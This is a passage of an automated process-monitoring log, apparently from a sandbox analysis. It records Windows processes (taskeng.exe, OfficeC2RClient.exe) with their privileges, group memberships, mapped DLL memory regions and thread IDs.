"c:\\windows\\system32\\winsta.dll") Thread: id = 165 os_tid = 0x9d8 Thread: id = 166 os_tid = 0x9cc Thread: id = 167 os_tid = 0x930 Thread: id = 168 os_tid = 0x9a4 Thread: id = 169 os_tid = 0x630 Thread: id = 170 os_tid = 0x894 Thread: id = 171 os_tid = 0x864 Thread: id = 172 os_tid = 0x860 Thread: id = 173 os_tid = 0x86c Process: id = "14" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x66746000" os_pid = "0x794" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x368" cmd_line = "taskeng.exe {88945FB0-7E06-44CD-A2C0-DAD18A17915A} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d2d7" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2507 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2508 start_va = 0x30000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2509 start_va = 0xb0000 end_va = 0xb3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2510 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2511 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2512 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2513 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2514 start_va = 0xff4d0000 end_va = 0xff543fff entry_point = 0xff4d0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 2515 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2516 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2517 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2518 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2519 start_va = 0x160000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2520 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2521 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2522 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2523 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2524 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2525 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2526 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2527 start_va = 0x7fefa810000 end_va = 0x7fefa819fff entry_point = 0x7fefa810000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2528 start_va = 0x7fefd050000 end_va = 0x7fefd0bcfff entry_point = 0x7fefd050000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2529 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2530 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2531 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2532 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2533 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2534 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2535 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2536 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2537 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 2538 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2539 start_va = 0x260000 end_va = 0x31ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 2540 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2541 start_va = 0x340000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2542 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2543 start_va = 0x450000 end_va = 0x5d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2544 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2545 start_va = 0x770000 end_va = 0xb62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 2546 start_va = 0xd60000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 2547 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2548 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2549 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2550 start_va = 0xc50000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 2551 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2552 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2553 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2554 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2555 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 2556 start_va = 0xe50000 end_va = 0xecffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 2557 start_va = 0xed0000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2558 start_va = 0x1020000 end_va = 0x109ffff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 2559 start_va = 0x10a0000 end_va = 0x136efff entry_point = 0x10a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2560 start_va = 0x1440000 end_va = 0x14bffff entry_point = 0x0 region_type = private name = "private_0x0000000001440000" filename = "" Region: id = 2561 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 2562 start_va = 0x7fef60c0000 end_va = 0x7fef60c8fff entry_point = 0x7fef60c0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2563 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2564 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2565 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2566 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2567 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2568 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2569 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2570 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2571 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Thread: id = 176 os_tid = 0x6e0 Thread: id = 177 os_tid = 0xc8 Thread: id = 178 os_tid = 0x120 Thread: id = 179 os_tid = 0x138 Thread: id = 180 os_tid = 0x430 Thread: id = 184 os_tid = 0x5d0 Thread: id = 185 os_tid = 0x2b4 Thread: id = 186 os_tid = 0x240 Process: id = "15" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x6c0ea000" os_pid = "0x5d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x368" cmd_line = "taskeng.exe {3DCF8ADF-47F1-4481-AEB2-3A1B63182F89} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2572 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2573 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2574 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2575 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2576 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2577 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2578 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2579 start_va = 0xff4d0000 end_va = 0xff543fff entry_point = 0xff4d0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 2580 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2581 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2582 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2583 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2584 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2585 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2586 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2587 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2588 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2589 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2590 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2591 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2592 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2593 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2594 start_va = 0x470000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 2595 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2596 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2597 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 2598 start_va = 0x870000 end_va = 0x1c6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2599 start_va = 0x1c70000 end_va = 0x2062fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 2600 start_va = 0x2110000 end_va = 0x218ffff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 2601 start_va = 0x2210000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 2602 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2603 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2604 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2605 start_va = 0x7fefa810000 end_va = 0x7fefa819fff entry_point = 0x7fefa810000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2606 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2607 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2608 start_va = 0x7fefd050000 end_va = 0x7fefd0bcfff entry_point = 0x7fefd050000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2609 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2610 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2611 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2612 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2613 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2614 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2615 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2616 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2617 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2618 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2619 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2620 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2621 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2622 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2623 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2648 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2649 start_va = 0x3e0000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2650 start_va = 0x2290000 end_va = 0x238ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 2651 start_va = 0x23b0000 end_va = 0x242ffff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 2652 start_va = 0x2430000 end_va = 0x26fefff entry_point = 0x2430000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2653 start_va = 0x2760000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 2654 start_va = 0x28a0000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 2655 start_va = 0x2920000 end_va = 0x29fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002920000" filename = "" Region: id = 2656 start_va = 0x7fef60c0000 end_va = 0x7fef60c8fff entry_point = 0x7fef60c0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 2657 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2658 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2659 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2660 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2661 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2662 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2663 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2664 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 181 os_tid = 0x788 Thread: id = 182 os_tid = 0x324 Thread: id = 183 os_tid = 0x244 Thread: id = 189 os_tid = 0x83c Thread: id = 190 os_tid = 0x858 Thread: id = 191 os_tid = 0x85c Thread: id = 192 os_tid = 0x8c8 Thread: id = 193 os_tid = 0x91c Process: id = "16" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x65bc2000" os_pid = "0x470" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x794" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], 